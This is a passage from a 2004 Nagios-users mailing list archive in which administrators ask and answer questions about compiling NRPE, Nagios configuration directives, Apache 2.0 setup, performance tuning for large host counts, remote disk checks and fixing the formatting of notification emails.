sent to /dev/null -- ---------------------------------------- Gijs Wuyts System Administrator OnlineGuardian Ubizen Philipssite 5 B - 3001 LEUVEN BELGIUM T:+32 (0)16 28.72.81 F:+32 (0)496 127.187 M:+32 (0)496 16.22.00 --------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 4452 bytes Desc: S/MIME Cryptographic Signature URL: From noah at mac.com Wed Mar 17 16:02:12 2004 From: noah at mac.com (Noah Leaman) Date: Wed, 17 Mar 2004 07:02:12 -0800 Subject: Large scale network monitoring limits with nagios In-Reply-To: <20040316032849.GB71983@gargantuan.com> References: <20040316032849.GB71983@gargantuan.com> Message-ID: <124DF62A-7824-11D8-9DC9-000393ACBF0C@mac.com> what version of glib is needed for the new library dependancies? On Monday, March 15, 2004, at 07:28 PM, Michael W. Oliver wrote: > On 2004-03-15T20:37:24-0500, Michael W. Oliver wrote: >> NOTE: I have not compiled 1.2 with this patch applied, I just made >> sure >> that it applied cleanly. You are on your own! > > Update: I was able to compile 1.2 cleanly after applying the patch and > it seems to be working fine. > > -- > Mike > perl -e 'print unpack("u","88V]N=&%C=\"!I;F9O(&EN(&AE861E > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Markus.Roelle at sytech.de Wed Mar 17 16:07:31 2004 From: Markus.Roelle at sytech.de (Markus.Roelle at sytech.de) Date: Wed, 17 Mar 2004 16:07:31 +0100 Subject: using nrpe daemona on irix system Message-ID: Hi I'd like to use the nrpe daemon on an Irix system. My prolem is I can not compile the nrpe c-files because there are some headerfiles missing, the compiler need. It's about headerfiles from other librarys which where used by the compiler. inet.h syslog.h strings.h stdint.h pwd.h netdb.h grp.h I need to have Irix specific ones. Where can I get them ? Or does anyone have a Irix compiled version ? Thank zou for answers Markus Roelle ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From patrick.amirian at cgi.com Wed Mar 17 10:05:08 2004 From: patrick.amirian at cgi.com (Patrick Amirian) Date: Wed, 17 Mar 2004 10:05:08 +0100 Subject: including a file from in the services.cfg file Message-ID: <000001c40bfe$f2484dc0$c8040201@PAT> HI, I would like to know if there is a way for me to Include a .txt file in my services.cfg file? I have a perl script that dynamically generates services to watch in a txt file and I just want the services.cfg file to include this file in itself so that I can monitor my systems that are constantly changing. So how do I include a txt file from within a .cfg file? Thanks. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Wed Mar 17 16:17:10 2004 From: jhmartin at toger.us (Jason Martin) Date: Wed, 17 Mar 2004 07:17:10 -0800 (PST) Subject: including a file from in the services.cfg file In-Reply-To: <000001c40bfe$f2484dc0$c8040201@PAT> References: <000001c40bfe$f2484dc0$c8040201@PAT> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 There isn't an include directive per se; but you can use the "cfg_dir" directive in nagios.cfg to define a direction in which all files should be used as object-files. services do not have to go in just a file called services.cfg, so you can have your perl script write to the directory specified by cfg_dir and it'll get read in whenever Nagios launches. - -Jason Martin On Wed, 17 Mar 2004, Patrick Amirian wrote: > HI, > I would like to know if there is a way for me to > Include a .txt file in my services.cfg file? > > I have a perl script that dynamically generates services to watch in a > txt file and I just want the services.cfg file to include this file in > itself so that I can monitor my systems that are constantly changing. > > So how do I include a txt file from within a .cfg file? > > Thanks. > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAWGwDl2ODWuqVSBMRAuURAJ9yaZzYGTrX+sm7XHHGTVzVbvhwowCfXUZy ijzlwH7yeZDIj7lTu+dQHNY= =7wsy -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 17 16:20:50 2004 From: marc at ena.com (Marc Powell) Date: Wed, 17 Mar 2004 09:20:50 -0600 Subject: including a file from in the services.cfg file Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A34E@mismail2.ena.com> On Wednesday, March 17, 2004 3:05 AM, Patrick Amirian shared with us: > HI, > I would like to know if there is a way for me to Include a .txt file > in my services.cfg file? > > I have a perl script that dynamically generates services to watch in > a txt file and I just want the services.cfg file to include this file > in itself so that I can monitor my systems that are constantly > changing. > > So how do I include a txt file from within a .cfg file? There's no way to do an include but you _can_ have multiple cfg_file directives or you can use the cfg_dir directive to include all .cfg files in the specified dir. You'll probably want to use a .cfg extension instead of .txt (not sure if it matters though). In the examples below, I generate all the tnops-* files out of a database every night and everything else is static. For example -- # Engineering Devices cfg_file=/usr/local/nagios/etc/ena_config/enacorp.cfg cfg_file=/usr/local/nagios/etc/ena_config/nschool.cfg cfg_file=/usr/local/nagios/etc/ena_config/mcgavock.cfg cfg_file=/usr/local/nagios/etc/ena_config/mis.cfg cfg_file=/usr/local/nagios/etc/ena_config/dev-qc.cfg # Tennessee Schools cfg_file=/usr/local/nagios/etc/ena_config/tnops-east.cfg cfg_file=/usr/local/nagios/etc/ena_config/tnops-lea-east.cfg cfg_file=/usr/local/nagios/etc/ena_config/tnops-middle.cfg cfg_file=/usr/local/nagios/etc/ena_config/tnops-lea-middle.cfg cfg_file=/usr/local/nagios/etc/ena_config/tnops-west.cfg cfg_file=/usr/local/nagios/etc/ena_config/tnops-lea-west.cfg cfg_file=/usr/local/nagios/etc/ena_config/firewalls.cfg Or cfg_dir=/usr/local/nagios/etc/ena_config/ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shorn at lssi.net Wed Mar 17 16:28:12 2004 From: shorn at lssi.net (Spencer L Horn) Date: Wed, 17 Mar 2004 10:28:12 -0500 Subject: Nagios 1.2 and Apache 2.0 In-Reply-To: <405854F5.60202@ubizen.com> References: <1079527057.23986.25.camel@spencer.lssi.net> <405854F5.60202@ubizen.com> Message-ID: <1079537292.28778.17.camel@spencer.lssi.net> Thanks, I finally got it running. Spencer On Wed, 2004-03-17 at 08:39, Gijs Wuyts wrote: > yup, got it running, with some tweeking too. > > g > > Spencer L Horn wrote: > > Has anyone successfully installed Nagios 1.2 using Apache 2.0, I am > > having a few problems reading the cgi files, so i just want to make sure > > this is doable before i proceed. > > > > Thanks, > > Spencer > > > > > > > > ------------------------------------------------------- > > This SF.Net email is sponsored by: IBM Linux Tutorials > > Free Linux tutorial presented by Daniel Robbins, President and CEO of > > GenToo technologies. Learn everything from fundamentals to system > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > > _______________________________________________ > > Nagios-users mailing list > > Nagios-users at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From peiffer at umn.edu Wed Mar 17 16:33:20 2004 From: peiffer at umn.edu (Tim Peiffer) Date: Wed, 17 Mar 2004 09:33:20 -0600 Subject: Nagios 1.2 and Apache 2.0 In-Reply-To: <1079527057.23986.25.camel@spencer.lssi.net> References: <1079527057.23986.25.camel@spencer.lssi.net> Message-ID: <40586FC0.4080902@umn.edu> Yes. It is doable. I originally installed nagios-1.2, but I decided to look at scalability issues and move to nagios 2.0a1. I am currently running on an Apache2.0 server. Tim Peiffer Spencer L Horn wrote: >Has anyone successfully installed Nagios 1.2 using Apache 2.0, I am >having a few problems reading the cgi files, so i just want to make sure >this is doable before i proceed. > >Thanks, >Spencer > > > >------------------------------------------------------- >This SF.Net email is sponsored by: IBM Linux Tutorials >Free Linux tutorial presented by Daniel Robbins, President and CEO of >GenToo technologies. Learn everything from fundamentals to system >administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >_______________________________________________ >Nagios-users mailing list >Nagios-users at lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/nagios-users >::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. >::: Messages without supporting info will risk being sent to /dev/null > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Wed Mar 17 16:43:29 2004 From: agrajag at dragaera.net (Sean Dilda) Date: Wed, 17 Mar 2004 10:43:29 -0500 Subject: Nagios performance issue for 411 nodes and 1218 services In-Reply-To: <000001c40c20$a4a8a8e0$98aa6418@netcraftinc.int> References: <000001c40c20$a4a8a8e0$98aa6418@netcraftinc.int> Message-ID: <1079538209.4428.21.camel@pel> On Wed, 2004-03-17 at 08:06, Frank Pikelner wrote: > We're running Nagios 1.1 on a Dual Xeon 2.4GHz box with 512MB RAM on FreeBSD > 4.8. At present we monitor 411 nodes and 1218 service checks every 5 > minutes. As the number of nodes and service checks passed about 350 nodes > and 1000 service checks we seem to get continuously from 0-30 ICMP timeouts > for various servers (random). From Nagios I can manually PING the hosts and > no timeouts occur (ping times are 40-100ms over WAN). Nagios is configured > to do Smart Scheduling. If I look in Performance info for Nagios I get about > 99-100% of the checks completing in less than 5 minutes (though does improve > every once in a while). The CPU and the level of traffic does not appear to > be great. How long has nagios been running since it last reloaded its config, or was restarted? The smart scheduling isn't perfect. It sets things up nice and neat to begin with, but it never corrects after that. So, once you get one service that isn't in the Ok state, your scheduling becomes no longer optimal. If nagios runs for a long time with various errors detected during that time, things can become way out of whack. One thing I'd suggest doing is check the current scheduling. From the nagios web interface, there should be a link on the left that says 'Scheduling Queue'. This will tell you when the last check for each service was, and when the next one is scheduled. Its sorted by time of next check. How does it look? Is everything spread out evenly? Or are there a bunch of checks at about the same time, then wide gaps? If a bunch of checks are squeezed together, and there are some huge gaps, I'd recommend sending the nagios process a SIGHUP (kill -HUP ). In my experience that will cause the nagios process to reschedule everything with the smart scheduling, like it would do when it first starts. If the checks are evenly spaced for the most part, you may be hitting your limits. One thing I've found that helps to reduce the load on the machine is to increase the normal_check_interval, if your sites policies allow that. Another consideration.. check the load on the nagios box when its getting the timeouts. If the load isn't that high, you might want to consider just getting better networking for the machine. Its also possible that those ping timeouts are occurring because some parts of your network are just bogged down at those times. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From maldrich at i-centrix.com Wed Mar 17 16:27:44 2004 From: maldrich at i-centrix.com (Michael Aldrich) Date: Wed, 17 Mar 2004 10:27:44 -0500 Subject: Solaris plugin? Message-ID: Hello, I am running Nagios 1.0 with nagios-plugins-1.3.1-1 on RH Linux 7.3 (2.4.20). I've noticed some odd behavior with disk space checks. Sample services.cfg block: # Service definition define service{ use generic-service ; Name of service template to use host_name ora3 service_description /od01 Free Space is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups admins notification_interval 20 notification_period 24x7 notification_options w,u,c,r check_command check_local_disk!20%!10%!/dev/md7 } This machine (ora3) runs Linux. The check_command works fine, looking at available space on the partition /dev/md7. Here is a sample block from a machine running Solaris (version 8 or 9): # Service definition define service{ use generic-service ; Name of service template to use host_name neptune service_description /archives Free Space is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups admins notification_interval 20 notification_period 24x7 notification_options w,u,c,r check_command check_local_disk!20%!10%!/dev/dsk/c6t1d1s6 } This returns 'Disk "/dev/dsk/c6t1d1s6" not mounted or nonexistant' under 'Service Detail'. The partition does exist. Am I missing a plugin for Solaris? Thanks Mike ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Wed Mar 17 16:49:49 2004 From: agrajag at dragaera.net (Sean Dilda) Date: Wed, 17 Mar 2004 10:49:49 -0500 Subject: using nrpe daemona on irix system In-Reply-To: References: Message-ID: <1079538588.4428.24.camel@pel> On Wed, 2004-03-17 at 10:07, Markus.Roelle at sytech.de wrote: > > > Hi > I'd like to use the nrpe daemon on an Irix system. > My prolem is I can not compile the nrpe c-files because there are some > headerfiles missing, the compiler need. > > It's about headerfiles from other librarys which where used by the > compiler. > inet.h > syslog.h > strings.h > stdint.h > pwd.h > netdb.h > grp.h > > I need to have Irix specific ones. Where can I get them ? > > Or does anyone have a Irix compiled version ? I'm not that familiar with Irix, but those header files are pretty common ones. I'm pretty sure they're all part of the C library. Your Irix install media should have a package of some sort that contains those files. Most linux distros list them a (g)libc development. They're needed to compile just about any program. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 17 16:53:34 2004 From: marc at ena.com (Marc Powell) Date: Wed, 17 Mar 2004 09:53:34 -0600 Subject: Nagios performance issue for 411 nodes and 1218 services Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A34F@mismail2.ena.com> On Wednesday, March 17, 2004 7:06 AM, Frank Pikelner shared with us: > We're running Nagios 1.1 on a Dual Xeon 2.4GHz box with 512MB RAM on > FreeBSD 4.8. At present we monitor 411 nodes and 1218 service checks > every 5 minutes. As the number of nodes and service checks passed > about 350 nodes and 1000 service checks we seem to get continuously > from 0-30 ICMP timeouts for various servers (random). From Nagios I > can manually PING the hosts and no timeouts occur (ping times are > 40-100ms over WAN). Nagios is configured to do Smart Scheduling. If I > look in Performance info for Nagios I get about 99-100% of the checks > completing in less than 5 minutes (though does improve every once in > a while). The CPU and the level of traffic does not appear to be > great. > > My question is have we reach a monitoring limit (would doubt this)? > Is there a bug in Nagios 1.1 that may be affecting our ability to > monitor this number of hosts? > Any suggestions on what other troubleshooting can be done in Nagios? I doubt it in both cases. I have a pIII 800 with 512M RAM running Nagios and Cricket at 5 minute intervals for 751 hosts and 1189 services with no problems (adding Smokeing put it over the edge though, primarily for disk IO reasons). Some things to check -- . Verify speed and duplex are hard-coded and match on the machine and whatever it's connected to. . Reduce your service_reaper_frequency. I have mine set at 2 seconds. . Enable aggregated_status_updates. . Increase your status_update_interval. If you have it set low (30 seconds for example), Nagios is going to spend a lot of time just writing the status file to disk. I update mine every minute at least, and on some machines at 5 mintue intervals. *NOTE* This will affect the service checks completed percentage in the performance info. The checks are still executing as scheduled but since the status file isn't being updated as frequently, the CGI's don't know that. It's all a matter of timing. If you look at performance info right after the status file has been written then it'll be at or near 100%, if you look later, it'll be less. . Try using check_fping instead of check_ping. It's a bit friendlier. . Run /path/to/nagios -v /path/to/nagios.cfg and make sure your max_concurrent_checks is at or above the recommended value (I typically add half again the recommended number). . If you have hosts that are down a lot on your network, make sure that your host check_command completes quickly (i.e. a single ping) and you retry only the minimum number of times to satisfy you that it's down. Nagios stops doing everything else until a host check completes and could result in delayed service check processing. HTH, Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From JStork at providencehealth.bc.ca Wed Mar 17 17:16:19 2004 From: JStork at providencehealth.bc.ca (Stork, Johnny [PH]) Date: Wed, 17 Mar 2004 08:16:19 -0800 Subject: Compiling with mysql support...libraries cant be found? Message-ID: <9BA1D6F859B535448073EF58517BC97C0694B53C@phcexch.phc.bc.ca> I am trying to compile Nagios 1.2 on a RH 9 machine with MySQL 4.0.18. I have tried /usr/lib (shared Mysql libraries here) and /usr/include/mysql (mysql header fiels) But I keep getting the error message that "Mysql library could not be located". Here is my exact configure command that I have tried with variations on the locations ./configure --with-mysql-xdata --with-mysql-status --with-mysql-comments --with-mysql-extinfo --with-mysql-retention --with-mysql-downtime --with-mysql-lib=/usr/include/mysql --with-mysql-inc=/usr/lib Any help from someone that has a solution would be greatly appreciated...I am stuck ----------------------------------------------------------- Johnny Stork Database Developer & Statistical Analyst Provincial Blood Coordinating Office ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Wed Mar 17 18:14:42 2004 From: agrajag at dragaera.net (Sean Dilda) Date: Wed, 17 Mar 2004 12:14:42 -0500 Subject: Compiling with mysql support...libraries cant be found? In-Reply-To: <9BA1D6F859B535448073EF58517BC97C0694B53C@phcexch.phc.bc.ca> References: <9BA1D6F859B535448073EF58517BC97C0694B53C@phcexch.phc.bc.ca> Message-ID: <1079543682.4428.37.camel@pel> On Wed, 2004-03-17 at 11:16, Stork, Johnny [PH] wrote: > > ./configure --with-mysql-xdata --with-mysql-status --with-mysql-comments > --with-mysql-extinfo --with-mysql-retention --with-mysql-downtime > --with-mysql-lib=/usr/include/mysql --with-mysql-inc=/usr/lib I think I see the problem. Try switching the last two options to: --with-mysql-lib=/usr/lib --with-mysql-inc=/usr/include/mysql ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Wed Mar 17 18:22:58 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Wed, 17 Mar 2004 12:22:58 -0500 (EST) Subject: Solaris plugin? In-Reply-To: References: Message-ID: On Wed, 17 Mar 2004, Michael Aldrich wrote: > Hello, > I am running Nagios 1.0 with nagios-plugins-1.3.1-1 on RH Linux 7.3 > (2.4.20). > I've noticed some odd behavior with disk space checks. > Sample services.cfg block: > > # Service definition > define service{ > use generic-service ; Name of > service template to use > > host_name ora3 > service_description /od01 Free Space > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups admins > notification_interval 20 > notification_period 24x7 > notification_options w,u,c,r > check_command check_local_disk!20%!10%!/dev/md7 > } > > This machine (ora3) runs Linux. The check_command works fine, looking at > available space on the partition /dev/md7. > > Here is a sample block from a machine running Solaris (version 8 or 9): > # Service definition > define service{ > use generic-service ; Name of > service template to use > > host_name neptune > service_description /archives Free Space > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups admins > notification_interval 20 > notification_period 24x7 > notification_options w,u,c,r > check_command > check_local_disk!20%!10%!/dev/dsk/c6t1d1s6 > } > > This returns 'Disk "/dev/dsk/c6t1d1s6" not mounted or nonexistant' under > 'Service Detail'. The partition does exist. > Am I missing a plugin for Solaris? > Thanks > Mike > > This will only work if the df on local machine (ora3) returns disk usage information for the solaris machine (neptune). What really need to do is execute the check_disk plugin on the Solaris machine and get the results either via NRPE or check_by_ssh or some other means. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ndressler at dinmar.com Wed Mar 17 17:42:35 2004 From: ndressler at dinmar.com (Norm Dressler) Date: Wed, 17 Mar 2004 12:42:35 -0400 Subject: Notifications somewhat garbled Message-ID: <442de223230cc411a64afa4703fd86b8@fpott01.dinmar.com> Hi Everyone, The alerts are being sent to my email looking like below. Does anyone have a fix for this command? -----Original Message----- From: nagios at inside182.dinmar.com [mailto:nagios at inside182.dinmar.com] Sent: Wednesday, March 17, 2004 12:23 PM To: alert at inside182.dinmar.com; RECOVERY at inside182.dinmar.com Subject: "** ""*****""Nagios""*****nnNotification""Type:""RECOVERYnnService:""Local"" processor""loadnHost:""FPTOR01""File/Print""ServernAddress:""192.168.60. 2nState:""OKnnDate/Time:""Wed""Mar""17""12:23:23""EST""2004nnAdditional" "Info:nnOK""-""load""average:""0.00,""0.02,""0.00"" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Wed Mar 17 18:46:53 2004 From: agrajag at dragaera.net (Sean Dilda) Date: Wed, 17 Mar 2004 12:46:53 -0500 Subject: Non-Ok services when host comes back up Message-ID: <1079545613.4428.46.camel@pel> I've run into this problem a couple of times over the last few days and am hoping someone knows of a way to fix it. I'll have a host go down. So nagios runs the service check, it fails, so nagios then runs the host check, which fails, and nagios notifies me that the host is down. So far so good. Later on I bring the host up, and nagios notifies me that the host is up. However, when the host came up, the service check that caused nagios to realize the host was back was in a warning or critical state. Nagios never notified me of the warning/critical state for the service. All it did was tell me that the host was responding again. The only way I found out about the bad service state was to check the nagios CGIs. Is there anyway to get nagios to tell me of bad services when the host comes back up? Thanks, Sean ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 17 19:09:24 2004 From: marc at ena.com (Marc Powell) Date: Wed, 17 Mar 2004 12:09:24 -0600 Subject: Notifications somewhat garbled Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A354@mismail2.ena.com> On Wednesday, March 17, 2004 10:43 AM, Norm Dressler shared with us: > Hi Everyone, > > The alerts are being sent to my email looking like below. Does > anyone have a fix for this command? > > -----Original Message----- > From: nagios at inside182.dinmar.com [mailto:nagios at inside182.dinmar.com] > Sent: Wednesday, March 17, 2004 12:23 PM > To: alert at inside182.dinmar.com; RECOVERY at inside182.dinmar.com > Subject: "** > > > ""*****""Nagios""*****nnNotification""Type:""RECOVERYnnService:""Local"" > processor""loadnHost:""FPTOR01""File/Print""ServernAddress:""192.168.60. > 2nState:""OKnnDate/Time:""Wed""Mar""17""12:23:23""EST""2004nnAdditional" > "Info:nnOK""-""load""average:""0.00,""0.02,""0.00"" It looks like your service-notify-by-email command isn't interpreting escape sequences properly (i.e. \n == newline). If you're using echo, add a -e or try using /usr/bin/printf instead of /bin/echo. You may want to read the man page for whichever command you are using. I believe that echo isn't as portable as printf and -e may not be the correct option under your OS. Here is the command I use under RH7.3 -- # 'service-notify-by-email' command definition define command{ command_name service-notify-by-email command_line /bin/echo -e "Subject: Service $SERVICEDESC$ $SERVICESTATE$ alert for $HOSTNAME$!\n\n***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\nHost: $HOSTNAME$\nState: $SERVICESTATE$\nAddress: $HOSTADDRESS$\n\nService: $SERVICEDESC$\nInfo: $OUTPUT$\n\nDate/Time: $DATETIME$\n" | /bin/mail -s '** $NOTIFICATIONTYPE$ alert - $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **' $CONTACTEMAIL$ } -- MArc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From tkraft8 at comcast.net Wed Mar 17 19:30:18 2004 From: tkraft8 at comcast.net (Tom Kraft) Date: Wed, 17 Mar 2004 12:30:18 -0600 Subject: statusmap.cgi Message-ID: Where can I find the statusmap.cgi. I compiled and install nagios but it didn't put a statusmap.cgi in nagios/sbin directory. Tom -------------- next part -------------- An HTML attachment was scrubbed... URL: From dlabonte at nrcan.gc.ca Wed Mar 17 19:18:09 2004 From: dlabonte at nrcan.gc.ca (=?iso-8859-1?Q?=22Labont=E9=2C_Diane=22?=) Date: Wed, 17 Mar 2004 13:18:09 -0500 Subject: NRPE Message-ID: Hello, I am fairly new to working with Linux and Nagios and I am presently trying to install NRPE. I have gone through all of the steps described in the NRPE readme file in order to configure my installation. I am using XINETD so I created the nrpe file in the /etc/xinetd.d directory. Below is a copy of my file. service nrpe { flags = REUSE socket_type = stream wait = no user = nagios server = /home/labonte/NRPE/nrpe-2.0/src/ server_args = -c 